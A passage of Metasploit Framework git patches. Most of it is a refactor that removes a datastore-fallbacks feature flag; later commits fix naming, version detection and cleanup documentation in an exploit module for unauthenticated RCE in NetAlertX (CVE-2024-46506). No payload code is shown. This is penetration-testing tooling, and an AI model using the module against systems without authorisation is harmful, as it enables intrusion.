self.aliases.has_key?(search_k) - search_k = self.aliases[search_k] - end - - # Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity - if @user_defined.key?(search_k) || options.key?(search_k) - return search_k - end - - # Scan each key looking for a match - each_key do |rk| - if rk.casecmp(search_k) == 0 - return rk - end - end - - # Fall through to the non-existent value - k - end - - # Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc. - # - # @param [String] key The key to search for - # @return [DataStoreSearchResult] - def search_for(key) - k = find_key_case(key) - return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k) - - option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last } - if option - # If the key isn't present - check any additional fallbacks that have been registered with the option. - # i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more - # generic 'Username' fallback - option.fallbacks.each do |fallback| - fallback_search = search_for(fallback) - if fallback_search.found? - return search_result(:option_fallback, fallback_search.value, fallback_key: fallback) - end - end - end - - # Checking for imported default values, ignoring case again - imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) } - return search_result(:imported_default, imported_default_match.last) if imported_default_match - return search_result(:option_default, option.default) if option - - search_result(:not_found, nil) - end - - protected - - # These defaults will be used if the user has not explicitly defined a specific datastore value. - # These will be checked as a priority to any options that also provide defaults. - # - # @return [Hash{String => Msf::OptBase}] The hash of default values - attr_accessor :defaults - - # @return [Hash{String => String}] The key is the old option name, the value is the new option name - attr_accessor :aliases - - # - # Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than - # imported and user_defined strings. - # - # @param [Msf::DataStore] other The other datastore to copy state from - # @return [Msf::DataStore] the current datastore instance - def copy_state(other) - self.options = other.options.dup - self.aliases = other.aliases.dup - self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value } - self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value } - - self - end - - # Raised when the specified key is not found - # @param [string] key - def key_error_for(key) - ::KeyError.new "key not found: #{key.inspect}" - end - - # - # Simple dataclass for storing the result of a datastore search - # - class DataStoreSearchResult - # @return [String, nil] the key associated with the fallback value - attr_reader :fallback_key - - # @return [object, nil] The value if found - attr_reader :value - - def initialize(result, value, namespace: nil, fallback_key: nil) - @namespace = namespace - @result = result - @value = value - @fallback_key = fallback_key - end - - def default? - result == :imported_default || result == :option_default || !found? - end - - def found? - result != :not_found - end - - def fallback? - result == :option_fallback - end - - def global? - namespace == :global_data_store && found? - end - - protected - - # @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore - attr_reader :namespace - - # @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default` - attr_reader :result - end - - def search_result(result, value, fallback_key: nil) - DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key) - end -end - -end diff --git a/lib/msf/core/feature_manager.rb b/lib/msf/core/feature_manager.rb index 872087c350..d822bb96dd 100644 --- a/lib/msf/core/feature_manager.rb +++ b/lib/msf/core/feature_manager.rb @@ -15,7 +15,6 @@ module Msf CONFIG_KEY = 'framework/features' WRAPPED_TABLES = 'wrapped_tables' - DATASTORE_FALLBACKS = 'datastore_fallbacks' FULLY_INTERACTIVE_SHELLS = 'fully_interactive_shells' MANAGER_COMMANDS = 'manager_commands' METASPLOIT_PAYLOAD_WARNINGS = 'metasploit_payload_warnings' @@ -49,13 +48,6 @@ module Msf default_value: false, developer_notes: 'Useful for developers, likely not to ever be useful for an average user' }.freeze, - { - name: DATASTORE_FALLBACKS, - description: 'When enabled you can consistently set username across modules, instead of setting SMBUser/FTPUser/BIND_DN/etc', - requires_restart: true, - default_value: true, - developer_notes: 'This functionality is enabled by default now, and the feature flag can be removed now' - }.freeze, { name: METASPLOIT_PAYLOAD_WARNINGS, description: 'When enabled Metasploit will output warnings about missing Metasploit payloads, for instance if they were removed by antivirus etc', diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 749fd276a4..ff455d4716 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -136,7 +136,7 @@ module Msf self.options.add_evasion_options(info['EvasionOptions'], self.class) # Create and initialize the data store for this module - self.datastore = ModuleDataStore.new(self) + self.datastore = Msf::ModuleDataStore.new(self) # Import default options into the datastore import_defaults diff --git a/lib/msf/core/module/data_store.rb b/lib/msf/core/module/data_store.rb index 675e400ab5..b4a231ba9b 100644 --- a/lib/msf/core/module/data_store.rb +++ b/lib/msf/core/module/data_store.rb @@ -21,7 +21,7 @@ module Msf::Module::DataStore # If there are default options, import their values into the datastore if (module_info['DefaultOptions']) - if datastore.is_a?(Msf::DataStoreWithFallbacks) + if datastore.is_a?(Msf::DataStore) self.datastore.import_defaults_from_hash(module_info['DefaultOptions'], imported_by: 'import_defaults') else self.datastore.import_options_from_hash(module_info['DefaultOptions'], true, 'self') @@ -38,7 +38,7 @@ module Msf::Module::DataStore def import_target_defaults return unless defined?(targets) && targets && target && target.default_options - if self.datastore.is_a?(Msf::ModuleDataStoreWithFallbacks) + if self.datastore.is_a?(Msf::ModuleDataStore) datastore.import_defaults_from_hash(target.default_options, imported_by: 'import_target_defaults') else datastore.import_options_from_hash(target.default_options, true, 'self') diff --git a/lib/msf/core/module/options.rb b/lib/msf/core/module/options.rb index a7b3d06083..23bc014db4 100644 --- a/lib/msf/core/module/options.rb +++ b/lib/msf/core/module/options.rb @@ -30,7 +30,7 @@ module Msf::Module::Options def deregister_options(*names) names.each { |name| real_name = self.datastore.find_key_case(name) - if self.datastore.is_a?(Msf::DataStoreWithFallbacks) + if self.datastore.is_a?(Msf::DataStore) self.datastore.remove_option(name) else self.datastore.delete(name) diff --git a/lib/msf/core/module_data_store.rb b/lib/msf/core/module_data_store.rb index e846d4ad43..609b2c5c7a 100644 --- a/lib/msf/core/module_data_store.rb +++ b/lib/msf/core/module_data_store.rb @@ -10,20 +10,7 @@ module Msf ### class ModuleDataStore < DataStore - # Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation. - # - # This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks` - # class instead, if the feature is enabled - def self.new(m) - if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - return Msf::ModuleDataStoreWithFallbacks.new(m) - end - - instance = allocate - instance.send(:initialize, m) - instance - end - + # @param [Msf::Module] m def initialize(m) super() @@ -31,51 +18,63 @@ module Msf end # - # Fetch the key from the local hash first, or from the framework datastore - # if we can't directly find it - # - def fetch(key) - key = find_key_case(key) - val = nil - val = super if(@imported_by[key] != 'self') - if (val.nil? and @_module and @_module.framework) - val = @_module.framework.datastore[key] - end - val = super if val.nil? - val - end - - # - # Same as fetch - # - def [](key) - key = find_key_case(key) - val = nil - val = super if(@imported_by[key] != 'self') - if (val.nil? and @_module and @_module.framework) - val = @_module.framework.datastore[key] - end - val = super if val.nil? - val - end - - # - # Was this entry actually set or just using its default - # - def default?(key) - (@imported_by[key] == 'self') - end - - # - # Return a deep copy of this datastore. - # + # Return a copy of this datastore. Only string values will be duplicated, other values + # will share the same reference + # @return [Msf::DataStore] a new datastore instance def copy - ds = self.class.new(@_module) - self.keys.each do |k| - ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) + new_instance = self.class.new(@_module) + new_instance.copy_state(self) + new_instance + end + + # Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc. + # If a value is not present in the current datastore, the global parent store will be referenced instead + # + # @param [String] key The key to search for + # @return [DataStoreSearchResult] + def search_for(key) + k = find_key_case(key) + return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k) + + # Preference globally set values over a module's option default + framework_datastore_search = search_framework_datastore(key) + return framework_datastore_search if framework_datastore_search.found? && !framework_datastore_search.default? + + option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last } + if option + # If the key isn't present - check any additional fallbacks that have been registered with the option. + # i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more + # generic 'Username' fallback + option.fallbacks.each do |fallback| + fallback_search = search_for(fallback) + if fallback_search.found? + return search_result(:option_fallback, fallback_search.value, fallback_key: fallback) + end + end end - ds.aliases = self.aliases.dup - ds + + # Checking for imported default values, ignoring case again TODO: add Alias test for this + imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) } + return search_result(:imported_default, imported_default_match.last) if imported_default_match + return search_result(:option_default, option.default) if option + + search_framework_datastore(k) + end + + protected + + # Search the framework datastore + # + # @param [String] key The key to search for + # @return [DataStoreSearchResult] + def search_framework_datastore(key) + return search_result(:not_found, nil) if @_module&.framework.nil? + + @_module.framework.datastore.search_for(key) + end + + def search_result(result, value, fallback_key: nil) + DataStoreSearchResult.new(result, value, namespace: :module_data_store, fallback_key: fallback_key) end end end diff --git a/lib/msf/core/module_data_store_with_fallbacks.rb b/lib/msf/core/module_data_store_with_fallbacks.rb deleted file mode 100644 index 0109c74fbf..0000000000 --- a/lib/msf/core/module_data_store_with_fallbacks.rb +++ /dev/null @@ -1,80 +0,0 @@ -# -*- coding: binary -*- -module Msf - - ### - # - # DataStore wrapper for modules that will attempt to back values against the - # framework's datastore if they aren't found in the module's datastore. This - # is done to simulate global data store values. - # - ### - class ModuleDataStoreWithFallbacks < DataStoreWithFallbacks - - # @param [Msf::Module] m - def initialize(m) - super() - - @_module = m - end - - # - # Return a copy of this datastore. Only string values will be duplicated, other values - # will share the same reference - # @return [Msf::DataStore] a new datastore instance - def copy - new_instance = self.class.new(@_module) - new_instance.copy_state(self) - new_instance - end - - # Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc. - # If a value is not present in the current datastore, the global parent store will be referenced instead - # - # @param [String] key The key to search for - # @return [DataStoreSearchResult] - def search_for(key) - k = find_key_case(key) - return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k) - - # Preference globally set values over a module's option default - framework_datastore_search = search_framework_datastore(key) - return framework_datastore_search if framework_datastore_search.found? && !framework_datastore_search.default? - - option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last } - if option - # If the key isn't present - check any additional fallbacks that have been registered with the option. - # i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more - # generic 'Username' fallback - option.fallbacks.each do |fallback| - fallback_search = search_for(fallback) - if fallback_search.found? - return search_result(:option_fallback, fallback_search.value, fallback_key: fallback) - end - end - end - - # Checking for imported default values, ignoring case again TODO: add Alias test for this - imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) } - return search_result(:imported_default, imported_default_match.last) if imported_default_match - return search_result(:option_default, option.default) if option - - search_framework_datastore(k) - end - - protected - - # Search the framework datastore - # - # @param [String] key The key to search for - # @return [DataStoreSearchResult] - def search_framework_datastore(key) - return search_result(:not_found, nil) if @_module&.framework.nil? - - @_module.framework.datastore.search_for(key) - end - - def search_result(result, value, fallback_key: nil) - DataStoreSearchResult.new(result, value, namespace: :module_data_store, fallback_key: fallback_key) - end - end -end diff --git a/lib/msf/core/modules/external/templates/multi_scanner.erb b/lib/msf/core/modules/external/templates/multi_scanner.erb index eebd6b2105..7dd5e936be 100644 --- a/lib/msf/core/modules/external/templates/multi_scanner.erb +++ b/lib/msf/core/modules/external/templates/multi_scanner.erb @@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary def run_batch(ips) datastore.delete('RHOSTS') - datastore.remove_option('RHOSTS') if self.datastore.is_a?(Msf::DataStoreWithFallbacks) + datastore.remove_option('RHOSTS') if self.datastore.is_a?(Msf::DataStore) datastore['rhosts'] = ips execute_module(<%= meta[:path] %>) diff --git a/lib/msf/core/modules/external/templates/single_host_login_scanner.erb b/lib/msf/core/modules/external/templates/single_host_login_scanner.erb index 39919ab1c3..bde198d388 100644 --- a/lib/msf/core/modules/external/templates/single_host_login_scanner.erb +++ b/lib/msf/core/modules/external/templates/single_host_login_scanner.erb @@ -24,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(ip) print_status("Running for #{ip}...") rhost = datastore.delete('RHOST') - datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStoreWithFallbacks) + datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStore) datastore['rhost'] = rhost datastore['userpass'] ||= build_credentials_array datastore['sleep_interval'] ||= userpass_interval diff --git a/lib/msf/core/modules/external/templates/single_scanner.erb b/lib/msf/core/modules/external/templates/single_scanner.erb index 30bed40dec..ae5a71985b 100644 --- a/lib/msf/core/modules/external/templates/single_scanner.erb +++ b/lib/msf/core/modules/external/templates/single_scanner.erb @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(ip) print_status("Running for #{ip}...") rhost = datastore.delete('RHOST') - datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStoreWithFallbacks) + datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStore) datastore['rhost'] = rhost execute_module(<%= meta[:path] %>) end diff --git a/lib/msf/core/option_group.rb b/lib/msf/core/option_group.rb index a86fe94640..4db8340316 100644 --- a/lib/msf/core/option_group.rb +++ b/lib/msf/core/option_group.rb @@ -36,7 +36,7 @@ module Msf # Validates that any registered and required options are set # # @param options [Array] A modules registered options - # @param datastore [Msf::DataStore|Msf::DataStoreWithFallbacks] A modules datastore + # @param datastore [Msf::DataStore|Msf::DataStore] A modules datastore def validate(options, datastore) issues = {} required_options.each do |option_name| diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 056e904ce9..42ec761fd7 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -475,7 +475,7 @@ class Payload < Msf::Module lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50') configure_payload = lambda do |payload| - if mod.datastore.is_a?(Msf::DataStoreWithFallbacks) + if mod.datastore.is_a?(Msf::DataStore) payload_defaults = { 'PAYLOAD' => payload } # Set LHOST if this is a reverse payload diff --git a/lib/msf/core/rhosts_walker.rb b/lib/msf/core/rhosts_walker.rb index b414abb214..f0997d1226 100644 --- a/lib/msf/core/rhosts_walker.rb +++ b/lib/msf/core/rhosts_walker.rb @@ -65,7 +65,7 @@ module Msf return unless block_given? parse(@value, @datastore).each do |result| - block.call(result) if result.is_a?(Msf::DataStore) || result.is_a?(Msf::DataStoreWithFallbacks) + block.call(result) if result.is_a?(Msf::DataStore) end nil @@ -99,7 +99,7 @@ module Msf # @return [Boolean] True if all items are valid, and there are at least some items present to iterate over. False otherwise. def valid? parsed_values = parse(@value, @datastore) - parsed_values.all? { |result| result.is_a?(Msf::DataStore) || result.is_a?(Msf::DataStoreWithFallbacks) } && parsed_values.count > 0 + parsed_values.all? { |result| result.is_a?(Msf::DataStore) } && parsed_values.count > 0 rescue StandardError => e elog('rhosts walker invalid', error: e) false diff --git a/lib/msf/core/rpc/v10/rpc_core.rb b/lib/msf/core/rpc/v10/rpc_core.rb index 5f9acab572..def9d8094b 100644 --- a/lib/msf/core/rpc/v10/rpc_core.rb +++ b/lib/msf/core/rpc/v10/rpc_core.rb @@ -64,7 +64,7 @@ class RPC_Core < RPC_Base # @example Here's how you would use this from the client: # rpc.call('core.unsetg', 'MyGlobal') def rpc_unsetg(var) - if framework.datastore.is_a?(Msf::DataStoreWithFallbacks) + if framework.datastore.is_a?(Msf::DataStore) framework.datastore.unset(var) else framework.datastore.delete(var) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 5599879afa..27dfb644d0 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2081,7 +2081,7 @@ class Core print_line "datastore. Use -g to operate on the global datastore." print_line print_line "If setting a PAYLOAD, this command can take an index from `show payloads'." - print @@set_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) + print @@set_opts.usage print_line end @@ -2103,7 +2103,7 @@ class Core elsif args[0] == '-a' args.shift append = true - elsif (args[0] == '-c' || args[0] == '--clear') && framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) + elsif (args[0] == '-c' || args[0] == '--clear') args.shift clear = true else @@ -2271,7 +2271,7 @@ class Core print_line "Usage: setg [option] [value]" print_line print_line "Exactly like set -g, set a value in the global datastore." - print @@setg_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) + print @@setg_opts.usage print_line end @@ -2433,83 +2433,18 @@ class Core end def cmd_unset_help - if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - print_line "Usage: unset [-g] var1 var2 var3 ..." - print_line - print_line "The unset command is used to unset one or more variables." - print_line "To flush all entries, specify 'all' as the variable name." - print_line "With -g, operates on global datastore variables." - print_line - else - print_line "Usage: unset [options] var1 var2 var3 ..." - print_line - print_line "The unset command is used to unset one or more variables which have been set by the user." - print_line "To update all entries, specify 'all' as the variable name." - print @@unset_opts.usage - print_line - end + print_line "Usage: unset [-g] var1 var2 var3 ..." + print_line + print_line "The unset command is used to unset one or more variables." + print_line "To flush all entries, specify 'all' as the variable name." + print_line "With -g, operates on global datastore variables." + print_line end # # Unsets a value if it's been set. # def cmd_unset(*args) - if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - return cmd_unset_with_fallbacks(*args) - end - - # Figure out if these are global variables - global = false - - if (args[0] == '-g') - args.shift - global = true - end - - # Determine which data store we're operating on - if (active_module and global == false) - datastore = active_module.datastore - else - datastore = framework.datastore - end - - # No arguments? No cookie. - if (args.length == 0) - cmd_unset_help - return false - end - - # If all was specified, then flush all of the entries - if args[0] == 'all' - print_line("Flushing datastore...") - - # Re-import default options into the module's datastore - if (active_module and global == false) - active_module.import_defaults - # Or simply clear the global datastore - else - datastore.clear - end - - return true - end - - while ((val = args.shift)) - if (driver.on_variable_unset(global, val) == false) - print_error("The variable #{val} cannot be unset at this time.") - next - end - - print_line("Unsetting #{val}...") - - datastore.delete(val) - end - end - - # - # Unsets a value if it's been set, resetting the value back to a default value - # - def cmd_unset_with_fallbacks(*args) if args.include?('-h') || args.include?('--help') cmd_unset_help return @@ -2591,7 +2526,7 @@ class Core print_line "Usage: unsetg [options] var1 var2 var3 ..." print_line print_line "Exactly like unset -g, unset global variables, or all" - print @@unsetg_opts.usage if framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) + print @@unsetg_opts.usage print_line end diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index bc42cb1a4c..3dc3321190 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -611,10 +611,6 @@ protected return false elsif active_module && (active_module.exploit? || active_module.evasion?) return false unless active_module.is_payload_compatible?(val) - elsif active_module && !framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - active_module.datastore.clear_non_user_defined - elsif framework && !framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - framework.datastore.clear_non_user_defined end end diff --git a/lib/msf/ui/console/module_option_tab_completion.rb b/lib/msf/ui/console/module_option_tab_completion.rb index f8ecd07216..578f5f2363 100644 --- a/lib/msf/ui/console/module_option_tab_completion.rb +++ b/lib/msf/ui/console/module_option_tab_completion.rb @@ -17,10 +17,10 @@ module Msf # stage since the command itself has been completed. def tab_complete_datastore_names(datastore, _str, _words) keys = ( - Msf::DataStoreWithFallbacks::GLOBAL_KEYS + + Msf::DataStore::GLOBAL_KEYS + datastore.keys ) - keys.concat(datastore.options.values.flat_map(&:fallbacks)) if datastore.is_a?(Msf::DataStoreWithFallbacks) + keys.concat(datastore.options.values.flat_map(&:fallbacks)) if datastore.is_a?(Msf::DataStore) keys.uniq! { |key| key.downcase } keys end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb index b58f4dfb70..46d06a76e0 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb @@ -189,7 +189,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp datastore = args.shift - unless datastore.is_a?(Hash) || datastore.is_a?(Msf::DataStoreWithFallbacks) + unless datastore.is_a?(Hash) || datastore.is_a?(Msf::DataStore) print_dhcp_load_options_usage return true end diff --git a/spec/lib/msf/core/data_store_with_fallbacks_spec.rb b/spec/lib/msf/core/data_store_with_fallbacks_spec.rb index e6c0d2bfe2..eab0a36f46 100644 --- a/spec/lib/msf/core/data_store_with_fallbacks_spec.rb +++ b/spec/lib/msf/core/data_store_with_fallbacks_spec.rb @@ -700,7 +700,7 @@ RSpec.shared_examples_for 'a datastore' do end end -RSpec.describe Msf::DataStoreWithFallbacks do +RSpec.describe Msf::DataStore do include_context 'datastore subjects' subject(:default_subject) do @@ -712,11 +712,11 @@ RSpec.describe Msf::DataStoreWithFallbacks do it_behaves_like 'a datastore' end -RSpec.describe Msf::ModuleDataStoreWithFallbacks do +RSpec.describe Msf::ModuleDataStore do include_context 'datastore subjects' let(:framework_datastore) do - Msf::DataStoreWithFallbacks.new + Msf::DataStore.new end let(:mod) do framework = instance_double(Msf::Framework, datastore: framework_datastore) diff --git a/spec/lib/msf/core/option_group_spec.rb b/spec/lib/msf/core/option_group_spec.rb index d6669b9429..2980cdd6a5 100644 --- a/spec/lib/msf/core/option_group_spec.rb +++ b/spec/lib/msf/core/option_group_spec.rb @@ -53,7 +53,7 @@ RSpec.describe Msf::OptionGroup do let(:option_names) { ['not_required_name', required_option_name] } let(:required_names) { [required_option_name] } let(:options) { instance_double(Msf::OptionContainer) } - let(:datastore) { instance_double(Msf::DataStoreWithFallbacks) } + let(:datastore) { instance_double(Msf::DataStore) } context 'when there are no required options' do subject { described_class.new(name: 'name', description: 'description', option_names: option_names) } diff --git a/spec/modules/auxiliary/scanner/ssh/ssh_login_spec.rb b/spec/modules/auxiliary/scanner/ssh/ssh_login_spec.rb index 8540197880..31f4545271 100644 --- a/spec/modules/auxiliary/scanner/ssh/ssh_login_spec.rb +++ b/spec/modules/auxiliary/scanner/ssh/ssh_login_spec.rb @@ -24,7 +24,7 @@ RSpec.describe 'SSH Login Check Scanner' do let(:credential) do Metasploit::Framework::Credential.new(private: password, public: username) end - let(:datastore) { Msf::ModuleDataStoreWithFallbacks.new(subject) } + let(:datastore) { Msf::ModuleDataStore.new(subject) } let(:host) { '10.10.10.10' } let(:module_manager) { instance_double(Msf::ModuleManager) } let(:password) { 'secret' } diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 6e0463ca46..090cdc799f 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -159,12 +159,6 @@ RSpec.configure do |config| end end - if ENV['MSF_FEATURE_DATASTORE_FALLBACKS'] - config.before(:suite) do - Msf::FeatureManager.instance.set(Msf::FeatureManager::DATASTORE_FALLBACKS, true) - end - end - if ENV['MSF_FEATURE_DEFER_MODULE_LOADS'] config.before(:suite) do Msf::FeatureManager.instance.set(Msf::FeatureManager::DEFER_MODULE_LOADS, true) diff --git a/spec/support/shared/examples/msf/core/optional_session.rb b/spec/support/shared/examples/msf/core/optional_session.rb index c1a1080f21..a6f61122c2 100644 --- a/spec/support/shared/examples/msf/core/optional_session.rb +++ b/spec/support/shared/examples/msf/core/optional_session.rb @@ -7,7 +7,7 @@ RSpec.shared_examples_for Msf::OptionalSession do include_context 'Msf::Simple::Framework' let(:options) { instance_double(Msf::OptionContainer) } - let(:datastore) { instance_double(Msf::DataStoreWithFallbacks) } + let(:datastore) { instance_double(Msf::DataStore) } let(:session) { instance_double(Msf::Sessions::SMB) } let(:session_group) { instance_double(Msf::OptionGroup) } let(:rhost_group) { instance_double(Msf::OptionGroup) } diff --git a/spec/support/shared/examples/msf/module/data_store.rb b/spec/support/shared/examples/msf/module/data_store.rb index c51388cc89..10e15cced7 100644 --- a/spec/support/shared/examples/msf/module/data_store.rb +++ b/spec/support/shared/examples/msf/module/data_store.rb @@ -2,4 +2,4 @@ RSpec.shared_examples_for 'Msf::Module::DataStore' do it { is_expected.to respond_to :datastore } it { is_expected.to respond_to :import_defaults } it { is_expected.to respond_to :share_datastore } -end \ No newline at end of file +end From b02838a8dd669337049ae6858721efc238fa50c2 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 12:52:26 +0900 Subject: [PATCH 24/37] NetAlertx -> NetAlertX --- .../exploit/linux/http/netalertx_rce_cve_2024_46506.md | 2 +- modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 117cb97ce0..6b70c8755f 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -1,6 +1,6 @@ ## Vulnerable Application -An attacker can update NetAlertx settings with no authentication, which results in RCE. +An attacker can update NetAlertX settings with no authentication, which results in RCE. The vulnerability affects: diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index c2b3d525d5..fb9725b5f6 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -14,9 +14,9 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'Unauthenticated RCE in NetAlertx', + 'Name' => 'Unauthenticated RCE in NetAlertX', 'Description' => %q{ - An attacker can update NetAlertx settings with no authentication, which results in RCE. + An attacker can update NetAlertX settings with no authentication, which results in RCE. }, 'Author' => [ 'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC From 127adda3dfa234bca186e004e97f8c928569c9ef Mon Sep 17 00:00:00 2001 From: Takahiro Yokoyama Date: Mon, 10 Feb 2025 21:06:50 +0900 Subject: [PATCH 25/37] Update modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb Co-authored-by: msutovsky-r7 --- modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index fb9725b5f6..821a490a06 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -68,7 +68,8 @@ class MetasploitModule < Msf::Exploit::Remote }) return Exploit::CheckCode::Unknown unless res&.code == 200 - version = Rex::Version.new(res&.get_html_document&.xpath('//div[text()="Installed version"]//following-sibling::*')&.text&.strip&.sub(/^v/, '')) +html_document = res&.get_html_document +version_element = html_document&.xpath('//div[text()="Installed version"]//following-sibling::*') return Exploit::CheckCode::Unknown('Failed to detect version.') unless version return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) From 92a73b1fed594d8eb88e24f8cce2dcd7fdc3c089 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 21:18:19 +0900 Subject: [PATCH 26/37] Fix after applying suggestions --- .../exploits/linux/http/netalertx_rce_cve_2024_46506.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index 821a490a06..ba98cbfcb8 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -68,8 +68,13 @@ class MetasploitModule < Msf::Exploit::Remote }) return Exploit::CheckCode::Unknown unless res&.code == 200 -html_document = res&.get_html_document -version_element = html_document&.xpath('//div[text()="Installed version"]//following-sibling::*') + html_document = res&.get_html_document + return Exploit::CheckCode::Unknown('Failed to get html document.') unless html_document + + version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*') + return Exploit::CheckCode::Unknown('Failed to get version element.') unless version_element + + version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) return Exploit::CheckCode::Unknown('Failed to detect version.') unless version return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) From 7149d3f3326b820befa0ba6ca938f326a1af1752 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 21:31:50 +0900 Subject: [PATCH 27/37] Leave cleanup as an option --- .../linux/http/netalertx_rce_cve_2024_46506.md | 15 ++++++++++----- .../linux/http/netalertx_rce_cve_2024_46506.rb | 15 +++++++++------ 2 files changed, 19 insertions(+), 11 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 6b70c8755f..0244986e36 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -39,6 +39,9 @@ docker run --rm --network=host \ ### WAIT (required) Wait time (seconds) for the payload to be set. Default is `75`. +### CLEANUP +Restore DBCLNP_CMD to original value after execution. Default is `true`. + ## Scenarios ``` @@ -50,9 +53,10 @@ Module options 